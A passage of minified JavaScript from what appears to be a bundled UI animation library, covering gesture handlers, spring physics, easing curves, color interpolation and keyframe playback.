di{constructor(){super(...arguments),this.removeStartListeners=qr,this.removeEndListeners=qr,this.removeAccessibleListeners=qr,this.startPointerPress=(e,t)=>{if(this.isPressing)return;this.removeEndListeners();const n=this.node.getProps(),r=ri(window,"pointerup",((e,t)=>{if(!this.checkPressEnd())return;const{onTap:n,onTapCancel:r,globalTapTarget:i}=this.node.getProps(),o=i||pi(this.node.current,e.target)?n:r;o&&Yr.update((()=>o(e,t)))}),{passive:!(n.onTap||n.onPointerUp)}),i=ri(window,"pointercancel",((e,t)=>this.cancelPress(e,t)),{passive:!(n.onTapCancel||n.onPointerCancel)});this.removeEndListeners=oi(r,i),this.startPress(e,t)},this.startAccessiblePress=()=>{const e=Qr(this.node.current,"keydown",(e=>{"Enter"!==e.key||this.isPressing||(this.removeEndListeners(),this.removeEndListeners=Qr(this.node.current,"keyup",(e=>{"Enter"===e.key&&this.checkPressEnd()&&mi("up",((e,t)=>{const{onTap:n}=this.node.getProps();n&&Yr.postRender((()=>n(e,t)))}))})),mi("down",((e,t)=>{this.startPress(e,t)})))})),t=Qr(this.node.current,"blur",(()=>{this.isPressing&&mi("cancel",((e,t)=>this.cancelPress(e,t)))}));this.removeAccessibleListeners=oi(e,t)}}startPress(e,t){this.isPressing=!0;const{onTapStart:n,whileTap:r}=this.node.getProps();r&&this.node.animationState&&this.node.animationState.setActive("whileTap",!0),n&&Yr.postRender((()=>n(e,t)))}checkPressEnd(){return this.removeEndListeners(),this.isPressing=!1,this.node.getProps().whileTap&&this.node.animationState&&this.node.animationState.setActive("whileTap",!1),!ci()}cancelPress(e,t){if(!this.checkPressEnd())return;const{onTapCancel:n}=this.node.getProps();n&&Yr.postRender((()=>n(e,t)))}mount(){const e=this.node.getProps(),t=ri(e.globalTapTarget?window:this.node.current,"pointerdown",this.startPointerPress,{passive:!(e.onTapStart||e.onPointerStart)}),n=Qr(this.node.current,"focus",this.startAccessiblePress);this.removeStartListeners=oi(t,n)}unmount(){this.removeStartListeners(),this.removeEndListeners(),this.removeAccessibleListeners()}}},focus:{Feature:class extends di{constructor(){super(...arguments),this.isActive=!1}onFocus(){let e=!1;try{e=this.node.current.matches(":focus-visible")}catch(t){e=!0}e&&this.node.animationState&&(this.node.animationState.setActive("whileFocus",!0),this.isActive=!0)}onBlur(){this.isActive&&this.node.animationState&&(this.node.animationState.setActive("whileFocus",!1),this.isActive=!1)}mount(){this.unmount=oi(Qr(this.node.current,"focus",(()=>this.onFocus())),Qr(this.node.current,"blur",(()=>this.onBlur())))}unmount(){}}},hover:{Feature:class extends di{mount(){this.unmount=oi(hi(this.node,!0),hi(this.node,!1))}unmount(){}}}};function xi(e,t){if(!Array.isArray(t))return!1;const n=t.length;if(n!==e.length)return!1;for(let r=0;r1e3*e,Pi=e=>e/1e3,Ti={type:"spring",stiffness:500,damping:25,restSpeed:10},Ci={type:"keyframes",duration:.8},Ai={type:"keyframes",ease:[.25,.1,.35,1],duration:.3},Ri=(e,{keyframes:t})=>t.length>2?Ci:Fn.has(e)?e.startsWith("scale")?{type:"spring",stiffness:550,damping:0===t[1]?2*Math.sqrt(550):30,restSpeed:10}:Ti:Ai;function ki(e,t){return e[t]||e.default||e}const Di=e=>null!==e;function Oi(e,{repeat:t,repeatType:n="loop"},r){const i=e.filter(Di),o=t&&"loop"!==n&&t%2==1?0:i.length-1;return o&&void 0!==r?r:i[o]}let Vi;function Li(){Vi=void 0}const Mi={now:()=>(void 0===Vi&&Mi.set(Gr.isProcessing?Gr.timestamp:performance.now()),Vi),set:e=>{Vi=e,queueMicrotask(Li)}},Fi=e=>/^0[^.\s]+$/u.test(e);let ji=qr,Ni=qr;const Ii=e=>/^-?(?:\d+(?:\.\d+)?|\.\d+)$/u.test(e),Bi=/^var\(--(?:([\w-]+)|([\w-]+), ?([a-zA-Z\d ()%#.,-]+))\)/u;function _i(e,t,n=1){Ni(n<=4,`Max CSS variable fallback depth detected in property "${e}". This may indicate a circular fallback dependency.`);const[r,i]=function(e){const t=Bi.exec(e);if(!t)return[,];const[,n,r,i]=t;return[`--${null!=n?n:r}`,i]}(e);if(!r)return;const o=window.getComputedStyle(t).getPropertyValue(r);if(o){const e=o.trim();return Ii(e)?parseFloat(e):e}return ur(i)?_i(i,t,n+1):i}const Ui=new Set(["width","height","top","left","right","bottom","x","y","translateX","translateY"]),$i=e=>e===Un||e===Zn,Wi=(e,t)=>parseFloat(e.split(", ")[t]),Hi=(e,t)=>(n,{transform:r})=>{if("none"===r||!r)return 0;const i=r.match(/^matrix3d\((.+)\)$/u);if(i)return Wi(i[1],t);{const t=r.match(/^matrix\((.+)\)$/u);return t?Wi(t[1],e):0}},zi=new Set(["x","y","z"]),qi=Mn.filter((e=>!zi.has(e))),Yi={width:({x:e},{paddingLeft:t="0",paddingRight:n="0"})=>e.max-e.min-parseFloat(t)-parseFloat(n),height:({y:e},{paddingTop:t="0",paddingBottom:n="0"})=>e.max-e.min-parseFloat(t)-parseFloat(n),top:(e,{top:t})=>parseFloat(t),left:(e,{left:t})=>parseFloat(t),bottom:({y:e},{top:t})=>parseFloat(t)+(e.max-e.min),right:({x:e},{left:t})=>parseFloat(t)+(e.max-e.min),x:Hi(4,13),y:Hi(5,14)};Yi.translateX=Yi.x,Yi.translateY=Yi.y;const Ki=e=>t=>t.test(e),Gi=[Un,Zn,Jn,Xn,er,Qn,{test:e=>"auto"===e,parse:e=>e}],Xi=e=>Gi.find(Ki(e)),Ji=new Set;let Zi=!1,Qi=!1;function eo(){if(Qi){const e=Array.from(Ji).filter((e=>e.needsMeasurement)),t=new Set(e.map((e=>e.element))),n=new Map;t.forEach((e=>{const t=function(e){const t=[];return qi.forEach((n=>{const r=e.getValue(n);void 0!==r&&(t.push([n,r.get()]),r.set(n.startsWith("scale")?1:0))})),t}(e);t.length&&(n.set(e,t),e.render())})),e.forEach((e=>e.measureInitialState())),t.forEach((e=>{e.render();const t=n.get(e);t&&t.forEach((([t,n])=>{var r;null===(r=e.getValue(t))||void 0===r||r.set(n)}))})),e.forEach((e=>e.measureEndState())),e.forEach((e=>{void 0!==e.suspendedScrollY&&window.scrollTo(0,e.suspendedScrollY)}))}Qi=!1,Zi=!1,Ji.forEach((e=>e.complete())),Ji.clear()}function to(){Ji.forEach((e=>{e.readKeyframes(),e.needsMeasurement&&(Qi=!0)}))}class no{constructor(e,t,n,r,i,o=!1){this.isComplete=!1,this.isAsync=!1,this.needsMeasurement=!1,this.isScheduled=!1,this.unresolvedKeyframes=[...e],this.onComplete=t,this.name=n,this.motionValue=r,this.element=i,this.isAsync=o}scheduleResolve(){this.isScheduled=!0,this.isAsync?(Ji.add(this),Zi||(Zi=!0,Yr.read(to),Yr.resolveKeyframes(eo))):(this.readKeyframes(),this.complete())}readKeyframes(){const{unresolvedKeyframes:e,name:t,element:n,motionValue:r}=this;for(let i=0;in=>Boolean(Kn(n)&&Yn.test(n)&&n.startsWith(e)||t&&!function(e){return null==e}(n)&&Object.prototype.hasOwnProperty.call(n,t)),io=(e,t,n)=>r=>{if(!Kn(r))return r;const[i,o,s,a]=r.match(zn);return{[e]:parseFloat(i),[t]:parseFloat(o),[n]:parseFloat(s),alpha:void 0!==a?parseFloat(a):1}},oo={...Un,transform:e=>Math.round((e=>Bn(0,255,e))(e))},so={test:ro("rgb","red"),parse:io("red","green","blue"),transform:({red:e,green:t,blue:n,alpha:r=1})=>"rgba("+oo.transform(e)+", "+oo.transform(t)+", "+oo.transform(n)+", "+Hn($n.transform(r))+")"},ao={test:ro("#"),parse:function(e){let t="",n="",r="",i="";return e.length>5?(t=e.substring(1,3),n=e.substring(3,5),r=e.substring(5,7),i=e.substring(7,9)):(t=e.substring(1,2),n=e.substring(2,3),r=e.substring(3,4),i=e.substring(4,5),t+=t,n+=n,r+=r,i+=i),{red:parseInt(t,16),green:parseInt(n,16),blue:parseInt(r,16),alpha:i?parseInt(i,16)/255:1}},transform:so.transform},lo={test:ro("hsl","hue"),parse:io("hue","saturation","lightness"),transform:({hue:e,saturation:t,lightness:n,alpha:r=1})=>"hsla("+Math.round(e)+", "+Jn.transform(Hn(t))+", "+Jn.transform(Hn(n))+", "+Hn($n.transform(r))+")"},uo={test:e=>so.test(e)||ao.test(e)||lo.test(e),parse:e=>so.test(e)?so.parse(e):lo.test(e)?lo.parse(e):ao.parse(e),transform:e=>Kn(e)?e:e.hasOwnProperty("red")?so.transform(e):lo.transform(e)},co="number",ho="color",po="var",mo="var(",fo="${}",go=/var\s*\(\s*--(?:[\w-]+\s*|[\w-]+\s*,(?:\s*[^)(\s]|\s*\((?:[^)(]|\([^)(]*\))*\))+\s*)\)|#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\)|-?(?:\d+(?:\.\d+)?|\.\d+)/giu;function vo(e){const t=e.toString(),n=[],r={color:[],number:[],var:[]},i=[];let o=0;const s=t.replace(go,(e=>(uo.test(e)?(r.color.push(o),i.push(ho),n.push(uo.parse(e))):e.startsWith(mo)?(r.var.push(o),i.push(po),n.push(e)):(r.number.push(o),i.push(co),n.push(parseFloat(e))),++o,fo))).split(fo);return{values:n,split:s,indexes:r,types:i}}function yo(e){return vo(e).values}function wo(e){const{split:t,types:n}=vo(e),r=t.length;return e=>{let i="";for(let o=0;o"number"==typeof e?0:e,xo={test:function(e){var t,n;return isNaN(e)&&Kn(e)&&((null===(t=e.match(zn))||void 0===t?void 0:t.length)||0)+((null===(n=e.match(qn))||void 0===n?void 0:n.length)||0)>0},parse:yo,createTransformer:wo,getAnimatableNone:function(e){const t=yo(e);return wo(e)(t.map(bo))}},Eo=new Set(["brightness","contrast","saturate","opacity"]);function So(e){const[t,n]=e.slice(0,-1).split("(");if("drop-shadow"===t)return e;const[r]=n.match(zn)||[];if(!r)return e;const i=n.replace(r,"");let o=Eo.has(t)?1:0;return r!==n&&(o*=100),t+"("+o+i+")"}const Po=/\b([a-z-]*)\(.*?\)/gu,To={...xo,getAnimatableNone:e=>{const t=e.match(Po);return t?t.map(So).join(" "):e}},Co={...rr,color:uo,backgroundColor:uo,outlineColor:uo,fill:uo,stroke:uo,borderColor:uo,borderTopColor:uo,borderRightColor:uo,borderBottomColor:uo,borderLeftColor:uo,filter:To,WebkitFilter:To},Ao=e=>Co[e];function Ro(e,t){let n=Ao(e);return n!==To&&(n=xo),n.getAnimatableNone?n.getAnimatableNone(t):void 0}const ko=new Set(["auto","none","0"]);class Do extends no{constructor(e,t,n,r){super(e,t,n,r,null==r?void 0:r.owner,!0)}readKeyframes(){const{unresolvedKeyframes:e,element:t,name:n}=this;if(!t.current)return;super.readKeyframes();for(let n=0;n{t.getValue(e).set(n)})),this.resolveNoneKeyframes()}}function Oo(e){let t;return()=>(void 0===t&&(t=e()),t)}const Vo=(e,t)=>!("zIndex"===t||"number"!=typeof e&&!Array.isArray(e)&&("string"!=typeof e||!xo.test(e)&&"0"!==e||e.startsWith("url(")));class Lo{constructor({autoplay:e=!0,delay:t=0,type:n="keyframes",repeat:r=0,repeatDelay:i=0,repeatType:o="loop",...s}){this.isStopped=!1,this.hasAttemptedResolve=!1,this.options={autoplay:e,delay:t,type:n,repeat:r,repeatDelay:i,repeatType:o,...s},this.updateFinishedPromise()}get resolved(){return this._resolved||this.hasAttemptedResolve||(to(),eo()),this._resolved}onKeyframesResolved(e,t){this.hasAttemptedResolve=!0;const{name:n,type:r,velocity:i,delay:o,onComplete:s,onUpdate:a,isGenerator:l}=this.options;if(!l&&!function(e,t,n,r){const i=e[0];if(null===i)return!1;if("display"===t||"visibility"===t)return!0;const o=e[e.length-1],s=Vo(i,t),a=Vo(o,t);return ji(s===a,`You are trying to animate ${t} from "${i}" to "${o}". ${i} is not an animatable value - to enable this animation set ${i} to a value animatable to ${o} via the \`style\` property.`),!(!s||!a)&&(function(e){const t=e[0];if(1===e.length)return!0;for(let n=0;n{this.resolveFinishedPromise=e}))}}function Mo(e,t){return t?e*(1e3/t):0}const Fo=5;function jo(e,t,n){const r=Math.max(t-Fo,0);return Mo(n-e(r),t-r)}const No=.001,Io=.01,Bo=10,_o=.05,Uo=1;const $o=12;function Wo(e,t){return e*Math.sqrt(1-t*t)}const Ho=["duration","bounce"],zo=["stiffness","damping","mass"];function qo(e,t){return t.some((t=>void 0!==e[t]))}function Yo({keyframes:e,restDelta:t,restSpeed:n,...r}){const i=e[0],o=e[e.length-1],s={done:!1,value:i},{stiffness:a,damping:l,mass:u,duration:c,velocity:d,isResolvedFromDuration:h}=function(e){let t={velocity:0,stiffness:100,damping:10,mass:1,isResolvedFromDuration:!1,...e};if(!qo(e,zo)&&qo(e,Ho)){const n=function({duration:e=800,bounce:t=.25,velocity:n=0,mass:r=1}){let i,o;ji(e<=Si(Bo),"Spring duration must be 10 seconds or less");let s=1-t;s=Bn(_o,Uo,s),e=Bn(Io,Bo,Pi(e)),s<1?(i=t=>{const r=t*s,i=r*e,o=r-n,a=Wo(t,s),l=Math.exp(-i);return No-o/a*l},o=t=>{const r=t*s*e,o=r*n+n,a=Math.pow(s,2)*Math.pow(t,2)*e,l=Math.exp(-r),u=Wo(Math.pow(t,2),s);return(-i(t)+No>0?-1:1)*((o-a)*l)/u}):(i=t=>Math.exp(-t*e)*((t-n)*e+1)-No,o=t=>Math.exp(-t*e)*(e*e*(n-t)));const a=function(e,t,n){let r=n;for(let n=1;n<$o;n++)r-=e(r)/t(r);return r}(i,o,5/e);if(e=Si(e),isNaN(a))return{stiffness:100,damping:10,duration:e};{const t=Math.pow(a,2)*r;return{stiffness:t,damping:2*s*Math.sqrt(r*t),duration:e}}}(e);t={...t,...n,mass:1},t.isResolvedFromDuration=!0}return t}({...r,velocity:-Pi(r.velocity||0)}),p=d||0,m=l/(2*Math.sqrt(a*u)),f=o-i,g=Pi(Math.sqrt(a/u)),v=Math.abs(f)<5;let y;if(n||(n=v?.01:2),t||(t=v?.005:.5),m<1){const e=Wo(g,m);y=t=>{const n=Math.exp(-m*g*t);return o-n*((p+m*g*f)/e*Math.sin(e*t)+f*Math.cos(e*t))}}else if(1===m)y=e=>o-Math.exp(-g*e)*(f+(p+g*f)*e);else{const e=g*Math.sqrt(m*m-1);y=t=>{const n=Math.exp(-m*g*t),r=Math.min(e*t,300);return o-n*((p+m*g*f)*Math.sinh(r)+e*f*Math.cosh(r))/e}}return{calculatedDuration:h&&c||null,next:e=>{const r=y(e);if(h)s.done=e>=c;else{let i=p;0!==e&&(i=m<1?jo(y,e,r):0);const a=Math.abs(i)<=n,l=Math.abs(o-r)<=t;s.done=a&&l}return s.value=s.done?o:r,s}}}function Ko({keyframes:e,velocity:t=0,power:n=.8,timeConstant:r=325,bounceDamping:i=10,bounceStiffness:o=500,modifyTarget:s,min:a,max:l,restDelta:u=.5,restSpeed:c}){const d=e[0],h={done:!1,value:d},p=e=>void 0===a?l:void 0===l||Math.abs(a-e)-m*Math.exp(-e/r),y=e=>g+v(e),w=e=>{const t=v(e),n=y(e);h.done=Math.abs(t)<=u,h.value=h.done?g:n};let b,x;const E=e=>{(e=>void 0!==a&&el)(h.value)&&(b=e,x=Yo({keyframes:[h.value,p(h.value)],velocity:jo(y,e,h.value),damping:i,stiffness:o,restDelta:u,restSpeed:c}))};return E(0),{calculatedDuration:null,next:e=>{let t=!1;return x||void 0!==b||(t=!0,w(e),E(e)),void 0!==b&&e>=b?x.next(e-b):(!t&&w(e),h)}}}const Go=(e,t,n)=>(((1-3*n+3*t)*e+(3*n-6*t))*e+3*t)*e;function Xo(e,t,n,r){if(e===t&&n===r)return qr;return i=>0===i||1===i?i:Go(function(e,t,n,r,i){let o,s,a=0;do{s=t+(n-t)/2,o=Go(s,r,i)-e,o>0?n=s:t=s}while(Math.abs(o)>1e-7&&++a<12);return s}(i,0,1,e,n),t,r)}const Jo=Xo(.42,0,1,1),Zo=Xo(0,0,.58,1),Qo=Xo(.42,0,.58,1),es=e=>t=>t<=.5?e(2*t)/2:(2-e(2*(1-t)))/2,ts=e=>t=>1-e(1-t),ns=e=>1-Math.sin(Math.acos(e)),rs=ts(ns),is=es(ns),os=Xo(.33,1.53,.69,.99),ss=ts(os),as=es(ss),ls={linear:qr,easeIn:Jo,easeInOut:Qo,easeOut:Zo,circIn:ns,circInOut:is,circOut:rs,backIn:ss,backInOut:as,backOut:os,anticipate:e=>(e*=2)<1?.5*ss(e):.5*(2-Math.pow(2,-10*(e-1)))},us=e=>{if(Array.isArray(e)){Ni(4===e.length,"Cubic bezier arrays must contain four numerical values.");const[t,n,r,i]=e;return Xo(t,n,r,i)}return"string"==typeof e?(Ni(void 0!==ls[e],`Invalid easing type '${e}'`),ls[e]):e},cs=(e,t,n)=>{const r=t-e;return 0===r?1:(n-e)/r},ds=(e,t,n)=>e+(t-e)*n;function hs(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e}function ps(e,t){return n=>n>0?t:e}const ms=(e,t,n)=>{const r=e*e,i=n*(t*t-r)+r;return i<0?0:Math.sqrt(i)},fs=[ao,so,lo];function gs(e){const t=(e=>fs.find((t=>t.test(e))))(e);if(ji(Boolean(t),`'${e}' is not an animatable color. Use the equivalent color code instead.`),!Boolean(t))return!1;let n=t.parse(e);return t===lo&&(n=function({hue:e,saturation:t,lightness:n,alpha:r}){e/=360,n/=100;let i=0,o=0,s=0;if(t/=100){const r=n<.5?n*(1+t):n+t-n*t,a=2*n-r;i=hs(a,r,e+1/3),o=hs(a,r,e),s=hs(a,r,e-1/3)}else i=o=s=n;return{red:Math.round(255*i),green:Math.round(255*o),blue:Math.round(255*s),alpha:r}}(n)),n}const vs=(e,t)=>{const n=gs(e),r=gs(t);if(!n||!r)return ps(e,t);const i={...n};return e=>(i.red=ms(n.red,r.red,e),i.green=ms(n.green,r.green,e),i.blue=ms(n.blue,r.blue,e),i.alpha=ds(n.alpha,r.alpha,e),so.transform(i))},ys=new Set(["none","hidden"]);function ws(e,t){return n=>ds(e,t,n)}function bs(e){return"number"==typeof e?ws:"string"==typeof e?ur(e)?ps:uo.test(e)?vs:Ss:Array.isArray(e)?xs:"object"==typeof e?uo.test(e)?vs:Es:ps}function xs(e,t){const n=[...e],r=n.length,i=e.map(((e,n)=>bs(e)(e,t[n])));return e=>{for(let t=0;t{for(const t in r)n[t]=r[t](e);return n}}const Ss=(e,t)=>{const n=xo.createTransformer(t),r=vo(e),i=vo(t);return r.indexes.var.length===i.indexes.var.length&&r.indexes.color.length===i.indexes.color.length&&r.indexes.number.length>=i.indexes.number.length?ys.has(e)&&!i.values.length||ys.has(t)&&!r.values.length?function(e,t){return ys.has(e)?n=>n<=0?e:t:n=>n>=1?t:e}(e,t):oi(xs(function(e,t){var n;const r=[],i={color:0,var:0,number:0};for(let o=0;oArray.isArray(e)&&"number"!=typeof e[0])(r)?r.map(us):us(r),o={done:!1,value:t[0]},s=function(e,t){return e.map((e=>e*t))}(n&&n.length===t.length?n:function(e){const t=[0];return function(e,t){const n=e[e.length-1];for(let r=1;r<=t;r++){const i=cs(0,t,r);e.push(ds(n,1,i))}}(t,e.length-1),t}(t),e),a=function(e,t,{clamp:n=!0,ease:r,mixer:i}={}){const o=e.length;if(Ni(o===t.length,"Both input and output ranges must be the same length"),1===o)return()=>t[0];if(2===o&&e[0]===e[1])return()=>t[1];e[0]>e[o-1]&&(e=[...e].reverse(),t=[...t].reverse());const s=function(e,t,n){const r=[],i=n||Ps,o=e.length-1;for(let n=0;n{let n=0;if(a>1)for(;nl(Bn(e[0],e[o-1],t)):l}(s,t,{ease:Array.isArray(i)?i:(l=t,u=i,l.map((()=>u||Qo)).splice(0,l.length-1))});var l,u;return{calculatedDuration:e,next:t=>(o.value=a(t),o.done=t>=e,o)}}const Cs=e=>{const t=({timestamp:t})=>e(t);return{start:()=>Yr.update(t,!0),stop:()=>Kr(t),now:()=>Gr.isProcessing?Gr.timestamp:Mi.now()}},As={decay:Ko,inertia:Ko,tween:Ts,keyframes:Ts,spring:Yo},Rs=e=>e/100;class ks extends Lo{constructor({KeyframeResolver:e=no,...t}){super(t),this.holdTime=null,this.startTime=null,this.cancelTime=null,this.currentTime=0,this.playbackSpeed=1,this.pendingPlayState="running",this.state="idle",this.stop=()=>{if(this.resolver.cancel(),this.isStopped=!0,"idle"===this.state)return;this.teardown();const{onStop:e}=this.options;e&&e()};const{name:n,motionValue:r,keyframes:i}=this.options,o=(e,t)=>this.onKeyframesResolved(e,t);n&&r&&r.owner?this.resolver=r.owner.resolveKeyframes(i,o,n,r):this.resolver=new e(i,o,n,r),this.resolver.scheduleResolve()}initPlayback(e){const{type:t="keyframes",repeat:n=0,repeatDelay:r=0,repeatType:i,velocity:o=0}=this.options,s=As[t]||Ts;let a,l;s!==Ts&&"number"!=typeof e[0]&&(a=oi(Rs,Ps(e[0],e[1])),e=[0,100]);const u=s({...this.options,keyframes:e});"mirror"===i&&(l=s({...this.options,keyframes:[...e].reverse(),velocity:-o})),null===u.calculatedDuration&&(u.calculatedDuration=function(e){let t=0,n=e.next(t);for(;!n.done&&t<2e4;)t+=50,n=e.next(t);return t>=2e4?1/0:t}(u));const{calculatedDuration:c}=u,d=c+r;return{generator:u,mirroredGenerator:l,mapPercentToKeyframes:a,calculatedDuration:c,resolvedDuration:d,totalDuration:d*(n+1)-r}}onPostResolved(){const{autoplay:e=!0}=this.options;this.play(),"paused"!==this.pendingPlayState&&e?this.state=this.pendingPlayState:this.pause()}tick(e,t=!1){const{resolved:n}=this;if(!n){const{keyframes:e}=this.options;return{done:!0,value:e[e.length-1]}}const{finalKeyframe:r,generator:i,mirroredGenerator:o,mapPercentToKeyframes:s,keyframes:a,calculatedDuration:l,totalDuration:u,resolvedDuration:c}=n;if(null===this.startTime)return i.next(0);const{delay:d,repeat:h,repeatType:p,repeatDelay:m,onUpdate:f}=this.options;this.speed>0?this.startTime=Math.min(this.startTime,e):this.speed<0&&(this.startTime=Math.min(e-u/this.speed,this.startTime)),t?this.currentTime=e:null!==this.holdTime?this.currentTime=this.holdTime:this.currentTime=Math.round(e-this.startTime)*this.speed;const g=this.currentTime-d*(this.speed>=0?1:-1),v=this.speed>=0?g<0:g>u;this.currentTime=Math.max(g,0),"finished"===this.state&&null===this.holdTime&&(this.currentTime=u);let y=this.currentTime,w=i;if(h){const e=Math.min(this.currentTime,u)/c;let t=Math.floor(e),n=e%1;!n&&e>=1&&(n=1),1===n&&t--,t=Math.min(t,h+1),Boolean(t%2)&&("reverse"===p?(n=1-n,m&&(n-=m/c)):"mirror"===p&&(w=o)),y=Bn(0,1,n)*c}const b=v?{done:!1,value:a[0]}:w.next(y);s&&(b.value=s(b.value));let{done:x}=b;v||null===l||(x=this.speed>=0?this.currentTime>=u:this.currentTime<=0);const E=null===this.holdTime&&("finished"===this.state||"running"===this.state&&x);return E&&void 0!==r&&(b.value=Oi(a,this.options,r)),f&&f(b.value),E&&this.finish(),b}get duration(){const{resolved:e}=this;return e?Pi(e.calculatedDuration):0}get time(){return Pi(this.currentTime)}set time(e){e=Si(e),this.currentTime=e,null!==this.holdTime||0===this.speed?this.holdTime=e:this.driver&&(this.startTime=this.driver.now()-e/this.speed)}get speed(){return this.playbackSpeed}set speed(e){const t=this.playbackSpeed!==e;this.playbackSpeed=e,t&&(this.time=Pi(this.currentTime))}play(){if(this.resolver.isScheduled||this.resolver.resume(),!this._resolved)return void(this.pendingPlayState="running");if(this.isStopped)return;const{driver:e=Cs,onPlay:t}=this.options;this.driver||(this.driver=e((e=>this.tick(e)))),t&&t();const n=this.driver.now();null!==this.holdTime?this.startTime=n-this.holdTime:this.startTime&&"finished"!==this.state||(this.startTime=n),"finished"===this.state&&this.updateFinishedPromise(),this.cancelTime=this.startTime,this.holdTime=null,this.state="running",this.driver.start()}pause(){var e;this._resolved?(this.state="paused",this.holdTime=null!==(e=this.currentTime)&&void 0!==e?e:0):this.pendingPlayState="paused"}complete(){"running"!==this.state&&this.play(),this.pendingPlayState=this.state="finished",this.holdTime=null}finish(){this.teardown(),this.state="finished";const{onComplete:e}=this.options;e&&e()}cancel(){null!==this.cancelTime&&this.tick(this.cancelTime),this.teardown(),this.updateFinishedPromise()}teardown(){this.state="idle",this.stopDriver(),this.resolveFinishedPromise(),this.updateFinishedPromise(),this.startTime=this.cancelTime=null,this.resolver.cancel()}stopDriver(){this.driver&&(this.driver.stop(),this.driver=void 0)}sample(e){return this.startTime=0,this.tick(e,!0)}}const Ds=e=>Array.isArray(e)&&"number"==typeof e[0];function Os(e){return Boolean(!e||"string"==typeof e&&e in Ls||Ds(e)||Array.isArray(e)&&e.every(Os))}const Vs=([e,t,n,r])=>`cubic-bezier(${e}, ${t}, ${n}, ${r})`,Ls={linear:"linear",ease:"ease",easeIn:"ease-in",easeOut:"ease-out",easeInOut:"ease-in-out",circIn:Vs([0,.65,.55,1]),circOut:Vs([.55,0,1,.45]),backIn:Vs([.31,.01,.66,-.59]),backOut:Vs([.33,1.53,.69,.99])};function Ms(e){return Fs(e)||Ls.easeOut}function Fs(e){return e?Ds(e)?Vs(e):Array.isArray(e)?e.map(Ms):Ls[e]:void 0}const js=Oo((()=>Object.hasOwnProperty.call(Element.prototype,"animate")));class Ns extends Lo{constructor(e){super(e);const{name:t,motionValue:n,keyframes:r}=this.options;this.resolver=new Do(r,((e,t)=>this.onKeyframesResolved(e,t)),t,n),this.resolver.scheduleResolve()}initPlayback(e,t){var n;let{duration:r=300,times:i,ease:o,type:s,motionValue:a,name:l}=this.options;if(!(null===(n=a.owner)||void 0===n?void 0:n.current))return!1;if("spring"===(u=this.options).type||!Os(u.ease)){const{onComplete:t,onUpdate:n,motionValue:a,...l}=this.options,u=function(e,t){const n=new ks({...t,keyframes:e,repeat:0,delay:0,isGenerator:!0});let r={done:!1,value:e[0]};const i=[];let o=0;for(;!r.done&&o<2e4;)r=n.sample(o),i.push(r.value),o+=10;return{times:void 0,keyframes:i,duration:o-10,ease:"linear"}}(e,l);1===(e=u.keyframes).length&&(e[1]=e[0]),r=u.duration,i=u.times,o=u.ease,s="keyframes"}var u;const c=function(e,t,n,{delay:r=0,duration:i=300,repeat:o=0,repeatType:s="loop",ease:a,times:l}={}){const u={[t]:n};l&&(u.offset=l);const c=Fs(a);return Array.isArray(c)&&(u.easing=c),e.animate(u,{delay:r,duration:i,easing:Array.isArray(c)?"linear":c,fill:"both",iterations:o+1,direction:"reverse"===s?"alternate":"normal"})}(a.owner.current,l,e,{...this.options,duration:r,times:i,ease:o});return c.startTime=Mi.now(),this.pendingTimeline?(c.timeline=this.pendingTimeline,this.pendingTimeline=void 0):c.onfinish=()=>{const{onComplete:n}=this.options;a.set(Oi(e,this.options,t)),n&&n(),this.cancel(),this.resolveFinishedPromise()},{animation:c,duration:r,times:i,type:s,ease:o,keyframes:e}}get duration(){const{resolved:e}=this;if(!e)return 0;const{duration:t}=e;return Pi(t)}get time(){const{resolved:e}=this;if(!e)return 0;const{animation:t}=e;return Pi(t.currentTime||0)}set time(e){const{resolved:t}=this;if(!t)return;const{animation:n}=t;n.currentTime=Si(e)}get speed(){const{resolved:e}=this;if(!e)return 1;const{animation:t}=e;return t.playbackRate}set speed(e){const{resolved:t}=this;if(!t)return;const{animation:n}=t;n.playbackRate=e}get state(){const{resolved:e}=this;if(!e)return"idle";const{animation:t}=e;return t.playState}attachTimeline(e){if(this._resolved){const{resolved:t}=this;if(!t)return qr;const{animation:n}=t;n.timeline=e,n.onfinish=null}else this.pendingTimeline=e;return qr}play(){if(this.isStopped)return;const{resolved:e}=this;if(!e)return;const{animation:t}=e;"finished"===t.playState&&this.updateFinishedPromise(),t.play()}pause(){const{resolved:e}=this;if(!e)return;const{animation:t}=e;t.pause()}stop(){if(this.resolver.cancel(),this.isStopped=!0,"idle"===this.state)return;this.resolveFinishedPromise(),this.updateFinishedPromise();const{resolved:e}=this;if(!e)return;const{animation:t,keyframes:n,duration:r,type:i,ease:o,times:s}=e;if("idle"===t.playState||"finished"===t.playState)return;if(this.time){const{motionValue:e,onUpdate:t,onComplete:a,...l}=this.options,u=new ks({...l,keyframes:n,duration:r,type:i,ease:o,times:s,isGenerator:!0}),c=Si(this.time);e.setWithVelocity(u.sample(c-10).value,u.sample(c).value,10)}const{onStop:a}=this.options;a&&a(),this.cancel()}complete(){const{resolved:e}=this;e&&e.animation.finish()}cancel(){const{resolved:e}=this;e&&e.animation.cancel()}static supports(e){const{motionValue:t,name:n,repeatDelay:r,repeatType:i,damping:o,type:s}=e;return js()&&n&&Ir.has(n)&&t&&t.owner&&t.owner.current instanceof HTMLElement&&!t.owner.getProps().onUpdate&&!r&&"mirror"!==i&&0!==o&&"inertia"!==s}}const Is=Oo((()=>void 0!==window.ScrollTimeline));class Bs{constructor(e){this.stop=()=>this.runAll("stop"),this.animations=e.filter(Boolean)}then(e,t){return Promise.all(this.animations).then(e).catch(t)}getAll(e){return this.animations[0][e]}setAll(e,t){for(let n=0;n{if(!Is()||!t.attachTimeline)return t.pause(),function(e,n){let r;const i=()=>{const{currentTime:e}=n,i=(null===e?0:e.value)/100;r!==i&&(e=>{t.time=t.duration*e})(i),r=i};return Yr.update(i,!0),()=>Kr(i)}(0,e);t.attachTimeline(e)}));return()=>{t.forEach(((e,t)=>{e&&e(),this.animations[t].stop()}))}}get time(){return this.getAll("time")}set time(e){this.setAll("time",e)}get speed(){return this.getAll("speed")}set speed(e){this.setAll("speed",e)}get duration(){let e=0;for(let t=0;tt[e]()))}play(){this.runAll("play")}pause(){this.runAll("pause")}cancel(){this.runAll("cancel")}complete(){this.runAll("complete")}}const _s=(e,t,n,r={},i,o,s)=>a=>{const 